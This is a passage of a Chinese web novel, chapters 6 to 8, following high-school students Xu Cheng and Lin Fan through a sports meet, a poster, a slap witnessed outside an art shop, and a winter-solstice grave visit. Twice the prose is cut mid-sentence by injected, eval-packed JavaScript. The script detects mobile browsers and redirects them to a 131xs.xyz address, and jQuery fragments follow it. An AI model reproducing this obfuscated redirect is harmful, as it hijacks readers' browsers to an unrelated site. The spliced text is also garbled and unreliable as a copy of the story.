许橙怔了怔,忽而,凉下去没多久的脸又烫起来。她不自然地别开目光,说:“你不说我就回去了。”
林凡挑了挑眉:“你真的不知道我想说什么?是没想过,还是不敢说?”
这话说得云里雾里,许橙听得更奇怪了,眉头重新攒起来。
林凡探究她好久,终于,一声很轻的笑。
“如果不是我在月考前两天转学过来,你就是第三十名,可以进尖子班。”
许橙呆了一下。
她还真没有这么想过。
幸好,白炽灯啪嗒一下灭了。被黑暗笼住,不必清清晰晰地面对林凡,许橙松下心。
她想了一会儿,把话捋清楚了,说:“不能这么算的。如果这么算,那要是其他同学都没有进云中,我还成了年级第一呢。”
说完,许橙自己倒有些不好意思,抿了抿唇,低头看鞋尖,双手反剪在背后。
沉沉的夜色里,林凡盯着她,很久无言,最后开口:“我不上尖子班。我可以去和年级组说一声,把名额顺延给你。”
白炽灯又亮了。许橙讶然抬头,很不解:“你不上尖子班?”
林凡笑笑,话还是那么欠揍:“我看过课程设置,对我来说,太简单了。”
许橙噎了噎,但言归正传,她认真说:“林凡,谢谢你,但我真的不用你的名额。下次考试我会自己努力的。”
林凡收了笑,恢复平静的神情:“真的不用?许橙,你不该和我要点儿什么么?”
“啊?我为什么要和你要东西?”许橙满头雾水。
“因为你闭嘴了,难道你不需要什么报酬?”林凡直言。
6. 第 6 章
许橙滞在原地。穿堂风捎来初秋的瑟瑟凉意,也把她涩涩裹住。
她不高兴了。
林凡把她当什么人呢?原来,他还在担心她把事情说出去,败坏他这个年级第一的名声。可是她早就说了,她会守口如瓶的。即使他不威胁她不给她什么,她也会按照自己的原则守口如瓶的。
“不用,我回去自习了。”许橙再也没看林凡一眼,生硬地丢下话,转身跑了。
林凡挑了挑眉。
他说这些,是试探她,看看她是否和许静一样势利利己。他可从来不是什么好心的人。
现在,看上去倒还行。
转眼,九月底,云中准备开运动会。这两天,班长陈秋语组织大家报名。
除了单人项目,学校为了展现团结向上的精神,还安排了好几个团体比赛。团体项目在传统的四乘一百、跳长绳之外,新加了“毛毛虫”和两人三足。
唐小雪说其他的就算了,毛毛虫,一堆人坐在上面扭来扭去,样子太滑稽太丢人了,她绝对不去。但比起其他项目,毛毛虫是最轻松的一个,所以大部分人还是报了这个。
班队课,陈秋语登记团体项目,从第一组巡逻到第四组。她说话很温柔,让人不自觉就想听,听着听着就觉得她说什么都对。这样一来,报名进行得很顺利。
许橙在做作业,唐小雪突然戳戳她,示意她回头看。
许橙转过头,后面,陈秋语正和林凡说话,好像是有单人项目还没报满。
“这里有一股八卦的味道——”张多多向后挤挤眼睛,笑得很贼。
这是唐小雪和张多多的传统节目,他俩就是因为这个共同爱好才成为欢喜冤家的。
唐小雪趴在椅背上,倒是一反常态地没嘻嘻笑,反而跟个侦察兵一样严肃。
许橙低下视线,没再往那处看。她不是对八卦不感兴趣,而是不想多注意林凡。
从那个晚上到现在,还是和之前一样,避免见他,避免说话。林凡这个人,即使弄清楚了他不是一个混混,但还是少接触一些比较好,毕竟已经有那么多前车之鉴。
只是,莫名其妙地,连自己也解释不清,又往那儿瞧了一眼。
陈秋语个子高,扎高马尾,脖颈白皙细长,很像白天鹅。她和人说话,虽然温柔,但必定保持几寸的距离,从不肢体接触。
这样的气质,和林凡有些像。至于别的,许橙没有再费心琢磨,她转回身写作业。
张多多作业写得快,现在仍旧嬉皮笑脸:“我要是女生,我也爱上凡哥。”
唐小雪一下就皱眉:“噫,张多多你恶不恶心!”
但很快,她话锋一转:“不过嘛,这次回去,好几个人问我林凡Q.Q空间长什么样,我都还没加呢,陈秋语刚把他拉进群吧?”
“加啊,凡哥通过好友很快的,你是同班同学,怕啥?但是别人就别想了,这边马上近水楼台先得月咯。”张多多往后努努嘴。
唐小雪眨眨眼,耸耸肩:“先得月?那可不一定,林凡看上去一点都不好追吧。”
张多多老气横秋地说:“女追男啊,女追男不是隔层纱?”
“女追男嘛……”唐小雪低头看周谨一,他在演算数学题,“那也要分情况的。”
虽然,他们俩压着声说话,但许橙听得很清楚,并且,题目迟迟没有做下去。因为张多多一口一个“凡哥”,让她有点出神。
其实,别人都挺喜欢林凡的。
他这人看起来冷淡,但和大家相处得很好,没有不合群。班级里大事小事一件不落,平常一起讨论题目、打球,还打游戏,男生一下就喊他凡哥凡哥,好多人都忘了他是后来转过来的了,亲得像初中就在一块儿。
唯独,对她不一样。
许橙很不舒服,又有一点儿委屈。不就是她当初看到他打架了吗?就算她把他当成了混混,那也是连锁反应,情有可原,她又不是故意的。
有几回,许橙忍不住想和唐小雪说这件事,但是,自从唐小雪顺利从林凡那里要到几次正确率无虞的数学答案,她对他已经崇拜得五体投地,就差跟着张多多一口一个凡哥。
许橙咬牙切齿,但没办法。
算了,反正和他没有过多的交集。
陈秋语那边,林凡说他报跳高。报完了名,陈秋语还笑着和林凡说了几句闲话,叮铃咚隆。于是张多多和唐小雪又开始嗡嗡嗡,语调更夸张了。直到周谨一重重地咳了一声,他们才恋恋不舍地停下来。
张多多、唐小雪和周谨一报了长绳。班里男生多女生少,所以每个女生的任务就重了一些。唐小雪多报了个四乘一百。
“女生四乘一百还差一个人。”陈秋语笑着问许橙,“许橙,你能来参加吗?”
“班长,许橙就算了,你找找看别人吧,她不能剧烈运动的。”唐小雪很快抢答,又补充,“许橙她有贫血,初中她就一直在啦啦队的。”
周谨一也抬起头,“嗯”了一声。许橙不知该不该说话了,其实,她觉得可以去。一整圈的比赛强度她可能不行,但一百米还是可以试试看的。
陈秋语有些为难:“我们班女生少,那些有单人项目的同学也都报集体项目了,还有些同学那段时间在生理期,所以——”
“又不是重度贫血,平常跑操也能跑,怎么到运动会就不能跑啦?”郑婷走过来,扬着下巴,鼻子里哼了一声。
唐小雪立马横了郑婷一眼:“四乘一百的强度和跑操的强度能一样吗?我们在这里讲事情,要你多说话了?”
郑婷看了看陈秋语手里的花名册,斜着眼睛瞧许橙:“什么强度不强度的,不就是怕累吗?她一个单人项目也没有,为班级做点事情就喊累啦?唐小雪,真是多亏了你护着她,给我们班养只懒虫。”
唐小雪噌地站起来:“许橙画运动会海报你没看见啊?眼睛长在那里当摆设?”
海报是校文体部要求的,每个班都要出一张,是个重活兼精细活儿。
郑婷一点儿也不虚,大声反驳:“海报又不是她一个人画的,那孙佳怡不也一起和她画吗?孙佳怡报了好几个项目呢!”
火药味十足,许橙连忙趁机会说:“我去参加吧,一百米没问题的。”
陈秋语虽然为难,但还是认真询问:“许橙,你真的可以吗?”
“实在不行我去问问其他同学。”周谨一开了口,“身体不好就不要硬来。”
“没有那么夸张啊。”许橙小声说。她的贫血只是轻度的。
唐小雪得了灵感,从陈秋语手上抢过花名册,看完,振振有词:“郑婷你怎么不上啊?一个项目都没有还在这里叭叭,有时间说话不如把名字写上去,你这么懒那我帮你写。”
说着,唐小雪就去拿黑笔。郑婷脸一红,一跺脚:“我那段时间在生理期呢!我是生活委员,运动会的矿泉水和面包什么的物资都是我安排的!唐小雪你不要血口喷人!”
两个人又要闹起来,许橙夹在中间,眼疾手快地拿过花名册,一气呵成填上名字。
郑婷一甩马尾辫,嘟嘟囔囔走开了,陈秋语只礼貌笑笑,也道了谢离开。唐小雪还怒得不行,一屁股坐回座位里,气得牙痒痒。
“别生气啦。”许橙揉唐小雪的肩,唐小雪偏过头不看她,重重哼一声。
早在初中,唐小雪就和郑婷有矛盾,起初是因为争着当英语课代表,后来演变为什么事上都看对方不顺眼,但凡聚在一起就要掐架。
好一会儿,唐小雪才回过头,忿忿说:“郑婷用激将法说你你就真去啊?这不就让她觉得我们好欺负吗!”
许橙没多解释,找出颗大白兔,塞给唐小雪。唐小雪吃了,含含糊糊的没再说什么。
许橙是怕麻烦。做人嘛,多一事不如少一事,不是特别要紧的事,那还是放宽心一点,不然这一天余下的时间都要处理这件麻烦事了。
但是别人不知道她怎么想的,垂着视线难得做不进去题的男生,终于抬起眼。
她身板小,背影也这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467342|185511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么纤薄,很没有气势。说话总是笑语晏晏,从来没和同学拉过脸闹过情绪,看上去就像个好说话的软包子。
怎么这么容易就被欺负?
有碎发卡在衣领,许橙抬手拨开。林凡回过神,蹙了蹙眉。
他对她,不该有什么保护欲。她怎么样,和谁闹矛盾,和他没有半分关系。
刚刚的那一点点烦躁,林凡解释为,名义上,她的确是他的妹妹。别人欺负她,他的面子就过不去。但,那是在他是她哥哥的前提下,现在,可没有人知道他是她哥哥。
何必注意她。
海报用于运动会那三天的展览,很大一张,快有两个平方。许橙和孙佳怡画了一个星期,颜料很快不够。
周六放学,许橙去学校旁边的书画店买颜料。
和书画相关的东西,这家店都卖,颜料、画笔、纸张……店里还兼营装裱。店主老爷爷很随和,总是笑,经常送学生一些小玩意儿。
许橙回到家,没顾上换校服,撂下书包,背个帆布袋就来了。上书画店买颜料,是她觉得最有趣的事情之一。尤其这家店的颜料多,颜色分得细,挑挑拣拣,很有趣味。
午后两点的小巷子,没什么人和车,店里只有风扇唰唰吹,纸张窸窸窣窣窸窸。老爷爷在柜台后面的躺椅上打瞌睡,呼噜呼噜呼呼。许橙站在货架边上挑颜料,自得其乐。
所以,门外炸开的那声怒斥格外清晰。
许橙惊慌抬头,玻璃门干净透亮,她轻易看见店外的景致。即使隔了距离,即使只是侧影,许橙也很快认出那是谁。
路边,厢式货车和黑色轿车一前一后停着。货车车厢边上,林凡站得闲散。
他也还是一身校服,与平时不同的是,神情格外轻蔑,几乎不该是一个高中生能有的神态,许橙从没有在他身上见到过。
这样的神情,是对着他爸爸,那个西装革履却怒容满面的男人。
隔着一道门,许橙听不清楚父子二人具体在说什么,只有模糊的声音和字眼,好像是在说车厢里的画。
她没有仔细听,因为那是林凡,她不该撞见他的任何事。现在,心跳越来越紧,许橙希望自己可以直接消失。
她想去柜台找老爷爷结账,想转身离开,可是男人扬起了手。
许橙愣在原地。
这次的幅度和力道都比上次在云中时更大,林凡晃了身形,显然是支撑着不让自己趔趄两步。他直视着男人,唇边的笑依旧讥讽。
许橙简直不能明白,他爸爸那样文质彬彬的一个人,怎么在大街上动手打人呢?
外婆说过,即使是小孩子也是有面子有自尊的,犯了再如何的错,大人一定不可以在外面就教训打骂,该回了家再处理。
之前,她以为林凡是混混,那么他爸爸教训他是情理之中的事,可是……就算林凡真的犯了什么错,也不该这样动手打人,甚至还打的是巴掌。
许橙来不及想明白,林凡又毫无惧意甚至笑得更厉害地开口说话,眨眼间,男人额上青筋暴起,揪住他衣领,看样子又要打了。
这是家务事,货车司机躲在车里。店主老爷爷还在睡觉,不知道有没有听见。
只有许橙,现在只有她在这里。
许橙没有再多想,她推门出去。
可电话铃响,男人松了手,接起电话,倏然笑容满面。他狠狠剜了林凡一眼,上了车,轿车在轰鸣声中扬长而去。
林凡抬起手背,嫌恶地擦了把脸。
许橙停在门口,大大地松了口气。她为林凡的劫后余生高兴,甚至像自己经历的那样。
梧桐树荫下,林凡的神情恢复寻常。
许橙忘记了一件事,前一刻,她还想快一点儿消失。现在,男生转过身,向这边走来。
林凡的身形顿了顿。
他的双眸对上她的,这双狂风暴雨后波澜未平的眼睛,骤然风浪又起,阴阴沉沉。
“许,橙。”
林凡一个字一个字念。
7. 第 7 章
“许橙”两个字过后,是“挺巧”。
和林凡挺巧这件事,不太好。
许橙的腿有点儿软,紧捏着的颜料,铝皮都变了形,皱襞磕得手心生疼。
她不知道自己该说什么,但也没等她说什么,林凡直接进了店里。
店面不大,许橙听得见林凡和老爷爷说话。他声音轻,她听不具体,然而老爷爷上了年纪,耳朵不太好,嗓门习惯性地高。
“要送美术馆展览,那装裱得按他们的来啊,咱们这儿不成。不过也有例外情况,可能可以让你自己装裱装裱。”老爷爷说。
许橙明白,她不能再站在这儿了,不然,她真的要被林凡当做眼中钉肉中刺了。
许橙低头冲刺到柜台,想结账走人,老爷爷却没有看出她的焦急,慢悠悠唠嗑:“橙子,你暑假里买的那些颜料这么快用完啦?上高中之后也有这么多时间画画哦!”
“是学校里运动会海报要用的。”许橙语速特别快,恨不得自己下一秒就能推门出去。
柜台窄,现在,她和林凡几乎挨在一起。这么近,他注视着她,许橙感受得到。
当然不是什么意味良好的视线。
“橙子给四十五就成。”老爷爷收了钱,说,“你在这儿等等啊,有那种一小盒一小盒的颜料人家送来,爷爷去找找,给你一盒。”
换做往常,许橙一定特别高兴。可现在,她很想说,爷爷不用了,我下次再来拿吧。
“谢谢爷爷。”许橙勉力欢笑。
老爷爷进了里屋,外面只她和林凡。许橙提着装颜料的塑料袋,一动也不敢动,否则袋子就沙沙响,捣碎这样小心翼翼的安宁。
她瞧墙上的挂钟,秒针怎么也走得那么慢,蜗牛都比它要快。
但什么都不说,似乎也不好。毕竟是她再次撞破了他的隐私。换位思考一下,如果是她,心里也会不舒服的。
许橙仓促地想,该说什么话呢?
“你还好吗?”她脱口而出。
林凡没想到她会说这个,他以为,她又会说什么守口如瓶之类的话。
可正好,老爷爷拿了颜料出来,林凡便没回答,他也并不想回答。
你还好么?这样不着调又匪夷所思的问题,也只有她才能问得出来。没有人会问这种问题,林凡不喜欢这个问题。
许橙接过颜料,和老爷爷道了谢。转过身,稍稍犹豫,还是和他说了“再见”。
林凡“嗯”了一声,没看她。
但他也算是说了话,许橙抬起一直低着的视线,却愣了。
男生半边脸上的红,极明显。的确,那样的一巴掌打下去,再皮糙肉厚的人也会疼。
他并不好。
许橙走出书画店,脚步虚虚浮浮。午后的阳光熟透,她在明晃晃的日光下六神无主。该回家了,该往东边走,是么?许橙不知道。因为有一个念头越来越重,山一般压她心上。
分明,她不该和他多有交集。
许橙回过头,店里光线暗,外面看不清里面的情形,只有玻璃门上倒映的梧桐,曳着斑驳树影,碎碎点点。
可是,她确切地记得他刚刚的样子。
许橙再次回到书画店的时候,林凡缄默在门口。世界上的所有声音,都离他很远,很渺茫。他望着车厢里那些画,久久出神。
所以,当女孩子泛红的脸突然出现在眼前,林凡有些错愕。
“这个给你。”许橙大喘着气,急匆匆地把塑料袋塞到他怀里,“在脸上厚厚敷一层,很快就会消肿的。”
说完,扭头跑了,好像生怕多和他相处一秒钟。
林凡这个人情绪阈值很高,很难高兴,也很难伤心。情绪不会轻易被激起,即使有,也难得饱满。所以总是面无表情,看上去很冷。偶尔那点儿笑,也无非是讥讽的。
现在,他抱着塑料袋,唇紧紧抿起。他再缄默不下去,甚至出于烦躁地来回踱了两步,想把袋子扔到路边的哪个垃圾桶。
可最终还是自己收着了。
“小伙子,这些画确定可以送吗?不然弄好了也是白花力气。”老爷爷背着手走出来。
他看见了父子的争执,但还是那三个字,家务事,不好多管。即便管了,也没有用。
“是我妈的画,他一直想把它们卖了。”林凡的话语里,隐隐有些戾气。
他还小的时候,杜建华就卖掉了不少,换来许多钱许多资源,现在就只剩下这些,趁着搬家,林凡把它们一并带走。然而动静大,杜建华总有一天会发现,不过是早晚的问题。
林凡没再多解释,这已经足够领会了。老爷爷摇摇头,也没再多说什么。
“刚刚那个女孩子,她经常来这里买东西么?”林凡忽然问。
“是啊,橙子她很爱画画的。你们校服一样,都是云中的学生吧。”说起许橙,老爷爷笑呵呵的。
林凡望向东边,旭日升起的地方。
他想起来,她是画运动会海报的。
海报下周五就要交,时间很赶。这几天的晚自习,许橙和孙佳怡都拿出最后二十分钟画画,这样才追得上进度。
周日晚上,到了时间,许橙去答疑室。
她路过林凡,看见他在做竞赛卷。做题的时候,他的坐姿倒是很端正,一点儿也不散漫,背挺得很直,标准的距离。他不近视。
明明看上去,实在不像一个好学生。或许,她真的对他有一些偏见,许橙反思。
进了答疑室,老余一拍脑袋,说:“许橙哎,我白天忘了提醒你了,孙佳怡她发烧在家休息呢。她情况还有点严重,估计这两天不能来学校了,你看你一个人画画来得及吗?来不及的话就让别的同学帮个忙。”
今天返校,是没看见孙佳怡的影儿。许橙说没事,一个人画也可以。
上一次老余在班里问谁会画画,只有她和孙佳怡举手。唐小雪很不平地说,明明谁谁谁也会画,就是不想占用学习时间嘛。
其实也没有什么,高中以学习为主,做这种事会占用学习时间,所以很多同学不乐意。至于许橙,她喜欢画画,很高兴每天可以在学校里画画,当然要把这个任务承包下来啦。
老余欣慰地点点头:“许橙啊,那就辛苦你这两天加下班了。”
一个人画,许橙是要加班加点才能完成。所以晚自习下了课,她打算再画半个小时。
窗户半开,溜进温煦的晚风,有新割过的草青青的味道。小小的答疑室,现在是很怡然的一方所在。
她专注的时候,两耳不闻窗外事,所以答疑室的门被推开,许橙浑然不觉。
“你打算一个人画到什么时候?”
许橙吓得差点儿把画笔丢掉。静谧到极点的教学楼,只有她一个人的地方,突然出现这么一道声音,很惊悚的。
毕竟,云中流传了不少灵异鬼故事。但看见说话的人,许橙觉得,还不如见到鬼。
林凡倚在门边,居高临下地望她,眉目冷淡疏离。
“很快就好了。”许橙回答得简单。她尽力保持镇定,做自己的事。
她猜到了,为着昨天下午在书画店遇见的事,林凡一定不会轻易放过她。天可怜见的,这个人怎么能这么小心眼?
果然,林凡冷声开口:“我发现,你总是莫名其妙地出现在你不该出现的地方。”
许橙预料到他不会说什么好话,但听完这话,她耐不住地愤怒了。
什么叫做她不该出现的地方?他没在杭市的时候她就去了这家店八百回了,店主老爷爷知道她的小名,知道他叫什么么?
许橙抬起头,直视林凡,很有种对决的意思。她才不会一而再再而三地忍他呢!
“画画的颜料不够了,我去买。如果我能提早知道你要来,那我一定会迟几个小时再去,不和你见面。”许橙气得不行。
林凡突然笑了出来。
老虎不发威,你当我是……她是只小老虎呢。现在,小老虎炸毛了。
可一个人真正生气的时候,生气的对象这么笑,无疑是火上浇油。
许橙的这炉火熊熊地烧,烧得很旺,可是不一会儿,它自己悄悄地熄了。因为林凡笑着看她,眼里有一片不知名的海。
于是她的火消了,剩下余烬。余烬噼啪一声,是心跳漏了一拍。许橙埋下脑袋,没再说任何话,手上的画笔不知为什么在抖。
可薄荷香蓦然近了,又来招惹她。
那只修长好看的手搭上桌沿。
“画得倒还不错。”林凡说。
“谢谢。”许橙依旧不抬头。
林凡,莫名其妙的,她不想多搭理他。
林凡无所谓她的冷淡,随心又问:“你为什么不找个人帮你一起画?”
许橙礼貌又简短地做了个解释,林凡点点头,没接什么话。许橙以为他要走了,他总该走的,不然继续待在这儿干什么?
可林凡却安之若素,在笔筒里翻找一阵,拿出支笔,说:“还有哪里要画?”
许橙诧异地抬头看他。
她不觉得林凡会画画。她也思考过他为什么出现在书画店,以及,车里的那些画是他的吗?可他实在不像个会画画的人,所以,大概是他亲朋好友的。
“你会画
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467343|185511||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
画吗?”许橙又惊讶又好奇,但很快想到什么,不客气地直言,“我说过的,我不会告诉别人你的事情,所以你不用担心,也不用拿什么东西来和我做交换,比如说现在来帮我画画,我不需要。”
“随你怎么想。”林凡耸了耸肩。
许橙觉得,并不是她对林凡有偏见,而是他独独在她面前不遮掩邪恶的本质,在别人那里,他就装得很好。
她还没同意让不让他画呢,林凡就自己上手了,挤颜料、调色上色……她的画!许橙快目瞪口呆。
可是,他好像真的会画。
刚开始,笔触稍有迟钝,但很快熟稔起来,不见一点滞涩的地方。许橙呆呆看他。
林凡左手撑着桌沿,右手上了劲,手背的青筋凸起得分明,小臂上的肌肉线条也清晰。他低着头,眼睫偶尔颤动。
许橙不知道男生的睫毛会这么长。
“昨天的那些画是你的吗?”她喃喃。
林凡笔一顿,抬头看她:“你没听见?”
“听见什么?”许橙茫然,片刻后反应过来,“店门是关上的,我离你还有点远,所以没有听清你和林叔叔具体说了什么。”
林叔叔?林凡挑了挑眉。
至于她的问题,他只点点头,并不回答。
许橙深吸了一口气,认真解释:“你为什么总觉得我在骗你?我是真的没有听见。”
林凡搁下笔,双手撑在桌沿,弯着腰,视线刚好和她齐平,静静地盯着她。
他们只隔着一张办公桌,面对面,男生的视线是那么灼灼那么以她为焦点,许橙的脸一点一点红起来,红得透了,红得熟了。
林凡终于敛下眸,嘴角扯了扯。
一个自嘲的笑,他是在笑自己,对于她这个妹妹,他的偏见似乎太多了。
“那些画是我妈的。”林凡言简意赅。他低下头,继续画画,“许橙,你再不动笔,那到猴年马月都画不完了。”
许橙忍不住刨根问底:“那是阿姨教你画画的吗?你画得也很好。”
林凡“嗯”了一声,再没说其他的,是不想交谈的样子。许橙悻悻地安静下来。
真是的,该说话的时候不说,不该说的时候张口就来,讨厌死了。
夜色已经过浓,林凡在水桶里涤干净画笔,说:“差不多了,再迟,你就赶不上熄灯时间了,明天再画吧。”
“走了。”他把画笔晾到一边,“针对你开头的问题,算是谢你送我药膏。”
开头的问题?哦,是他为什么要帮她画画。药膏,许橙都快忘了,原来是因为它。
她还没来得及说什么,林凡出了答疑室,身影淹没在黑暗里。
孙佳怡的身体恢复得很快,隔天,她来上学了。当然,也继续和许橙一起画画。
于是,林凡没有再来帮忙。
许橙总想到那个晚上。
海报最终如期画好,运动会也顺利举行。许橙顺利地跑了四乘一百,虽然脸白了大半天,但没给班级拖后腿,一班得了个很好的名次。
运动会完,放国庆假。从国庆结束到明年元旦,中间没有任何假期,日子有点儿苦。
一想到要连续两个多月起早贪黑,睁开眼睛就是读书,唐小雪就叫苦连天。读书方面,许橙倒是没什么,开学两个月,她已经适应了高中的学习强度。
班里的位置每个月调整一轮,组与组之间移动。国庆回来换座位,许橙他们从第四组移到了靠走廊的第一组。
林凡没动,他的位置特殊,自己也乐意,所以还是坐在第四组的角落。
于是张多多伤心欲绝,因为少一个人和他早读聊天。
对,就是早读聊天。许橙领读语文早读,好几次抓到张多多和林凡讲话。按理说她应该秉公执法……算了,她才不招惹他。
那次画画,她对林凡有所改观,他似乎是一个嘴硬心软的人,但,好像也只是还她一个人情,许橙说不清。
至少,值得庆幸的是,他们的关系温和多了。碰上面,要是她礼貌笑笑,林凡会点头致个意,不像以前那样当作没看见她。
这就足够了,她只是想和他像正常的同学那样相处。
但,这两个月来,好像少了点儿什么,是什么呢?许橙自己也不明白。可能是从走廊送来的风,没有靠窗第四组的那样清爽。
就这样,十月、十一月都过去了,十二月,座位换回了第四组。
日子新鲜起来,一种强烈的期待弥月不熄,距离那个时间越近,这种氛围越鲜活——
2012年12月21日,玛雅预言的世界末日。
8. 第 8 章
这天是周五,是“世界末日”,还是冬至。最贴近现实的是,下周期末模拟考,所以这周调休,周五下午就放假。
这样的刺激是鲜有的。早上两眼一睁,发现自己竟还活着,又不知道哪一分哪一秒末日就要到来,地球毁灭人类消亡,大家兴奋得不得了,当然不愿意读书。
早读就没人读,年级组心有余而力不足,只好对学生听之任之。老余例行公事地训了两句,发挥一下班主任的作用,说他们的心早已经飞走,看下个星期的模拟考考成什么样。
唐小雪胆子最大,抗议说别的几个班早读都不读了,放电影,《2012》,这才应景呢。
重点班怎么可以干这种事儿?别的十个班都干了,两个重点班也不能干。老余不松口,但敌不过学生团结得要命,几十张嘴把他吵得脑袋嗡嗡的,叹了口气,摆了摆手,睁一只眼闭一只眼走了。
就这样争取到四十分钟的电影时间,窗帘一拉,多媒体一放,大家躲进小楼成一统。灾难片里那样山崩地裂的场面,倒真有点儿把许橙给吓着了。这是世界末日当天诶!
她出去上卫生间,顺便透口气缓缓。回班的时候,瞧见林凡在楼道口,手里夹着支烟,面色蛮淡的,没别的男生那样的兴奋劲。
许橙有点儿好奇,想,他难道反差这么大,也害怕电影里的那种场面?但惧着他手里的烟,加之走廊没其他的人,她并不想和他独处,很快溜回去了。
早读下课,下节是老邵的课,没人敢造次,大家恋恋不舍地把电影关了。
张多多眼睛一闭,头往后一仰,靠在椅背上呼呼大睡起来。唐小雪用笔戳戳他胳膊,笑嘻嘻问:“张多多,你昨天英语作文交了?”
“没。”张多多没睁眼,含糊说,“都世界末日了还交个屁作业?等会儿人类毁灭了,连下周模拟考都不用考。”
“张多多——”郑婷走过来,拧他耳朵,“你的英语作文呢?就差你这份了。”
张多多疼醒,连忙讨饶,捂着耳朵委屈:“老余今天还查作业?说不过去了吧!”
唐小雪很想幸灾乐祸,但来人是郑婷,她就撇撇嘴,转过身问许橙:“许橙,等会儿音乐考试你准备好了没啊?我好紧张。”
“没关系的,反正不管怎么样都可以及格的嘛。”许橙安慰。
上午最后一节课是音乐课,要期末考试。美育写进了教育纲要里,否则云中才不会拣出宝贵的一节课时间上音乐或美术。也就高一有这种特权,到了高二高三,就只剩下文化课和体育了。
至于考试,也只是走个形式,和音乐沾点儿边的都能考,唱歌、乐器,再不济就朗诵,学生自己选择。
要在全班人面前一展歌喉,大家都有些腼腆,大部分人选择了朗诵,可以一个人,也可以组团,许橙和唐小雪一起朗诵。其实唐小雪唱歌可好了,她初中参加校园十大歌手,还拿过第一,长大了反而害羞。
朗诵的人多,一堂音乐课快上成语文课。倒是张多多领着几个男生上去,气势磅礴地唱了支情歌,《那些年》,雄壮得像进行曲,下面的人都笑了,音乐老师也忍俊不禁。
还有几个同学唱了歌,都很好听,《爱要坦荡荡》《小情歌》,一堂课,可热闹了,末日成了个响当当的节日。
到了林凡,唐小雪说:“林凡总不能唱歌也好听吧?那太全能了,要变成我的男神。”
“你男神不是权志龙吗?怎么啦,你这么快就变心啦?”孙佳怡笑她。
“这个男神又不能给我抄数学作业!什么变心啊我很专一的好不好!”唐小雪护短,又开始碎碎念她的男神怎么样怎么样啦。
林凡上了台,没拿U盘拷背景音乐,也没打开音乐软件找伴奏,而是走向立式钢琴,音乐老师的眼睛都亮了。
许橙真的有些愣。
那是一首截然不同的曲子,舒缓轻柔,所有人都静了,叽叽喳喳的唐小雪也静了。
音符慢慢地,慢慢地随着男生娴熟舒畅的动作淌出来。教室在一楼,窗外银杏黄了,在最饱满的早秋许橙忽然体会到一种秋感,无边寂寥的深秋,又或是冬天,那是冬天么?银杏叶须臾间掉了满树,枯枝守着,守着冬天。
考试只三分钟,乐曲戛然而止。
黄叶回来了,又是灿烂的金秋。教室那眨眼的屏息安宁,被张多多领头的轰隆隆掌声破开,重又热闹起来。一百八十秒的忧伤,通通遗忘在赞叹声里了。
许橙没有忘。她看见林凡下了台,没有回座位,径直出了音乐教室。
是曲子的忧伤,还是他的忧伤?林凡也会忧伤么,许橙不知道。他又是因为什么呢?
许橙和唐小雪说,她去一下洗手间。得了唐小雪的点头,许橙就好像拥有一个完满的理由,出去时,心里没有那么慌张。
其实她并不需要去。
洗手间不远的地方,走廊尽头,林凡侧身倚在栏杆上,嘴里叼着支烟。他远目窗外,那里有苍苍的一片树林。
走去洗手间,他一定会看到她。许橙不知道这个时候她该不该和他打招呼,心里满是自己的刻意为之,似乎这四个字都写在了脸上,怕他一眼就瞧得出来。
可没需要许橙纠结,林凡看见了她。他的视线只停一下,和最初相仿,淡漠而平稳地移开,好像见的是个陌生人。
可就是这么一眼,许橙确认那份忧伤不是她错看。
当然,她是去洗手间的,所以没有停顿。在洗手台前她看见镜子里的许橙脸颊发红,红得奇怪。她连忙打了一捧水扑到脸上。
水沿着面颊滴沥下来,滴滴答答。
再出去时,林凡已经不见了。
傍晚放学,天色黯淡,浓云漠漠,好像真的到了世界尽头,一切收束的地方。
许橙回到家,拿走外婆准备好的袋子,再次出门。袋子里有白菊花,还有一些祭奠用的东西,香啊,纸钱啊。
今天是冬至,要去半山公墓给外公和舅舅扫墓。冬至扫墓,是杭市这边的习俗。
按习俗,扫墓是要上午去的,但许橙下午才放学。外婆上午去过一回,想等她回来再一起去一次,可是裁缝铺临时多了事情,许橙说,自己去也没事,公交车来回很方便。
两座墓碑,一个刻的是许金生,许橙外公;另一个刻的是许伟,许橙舅舅。
外公是非典后遗症和并发症走的,零四年,许橙七岁的时候。
舅舅还要早一些,早在许橙出生之前,意外走的。许橙只在照片里见过他,眉目清秀的男孩子,照片定格的时候,比她大不了几岁。
幸福家园原本是给舅舅做婚房的,不然不会买那么大,顶楼带阁楼,上下共四个房间。现在,只有许橙和外婆两个人住了。
舅舅放假的时候下河摸螺蛳,不知道上游下了雨,大水泄下来,就把人冲走了。那年,外婆开始念佛。
许橙放好东西,说了该说的话,站起身。天色已经不早,暮意渐渐蔓延上来。
半山公墓依山而建,层层往上,展眼就能将这块墓区看得清楚。
所以,许橙一眼看到右上方站着的人,和她穿着一模一样的校服。
显然,他也是一放学就过来的。
林凡。
男生站在肃肃冷风里,像是末日过后这个世界上的最后一个人那样孤独。
现在,许橙得以解释他的忧伤。
同时,她生出很多的疑惑,接连不断的泡泡,都在林凡望过来的那一刹那破灭。
风切切,许橙打了个寒颤。
“你怎么在这里?”林凡问她。两个人踏着石阶往下走。
“今天是冬至,我来给我外公和舅舅扫墓。”许橙如实回答。
面对其他同学,许橙避免提及家事,这已经成了习惯。但面对林凡,她并不想隐瞒。
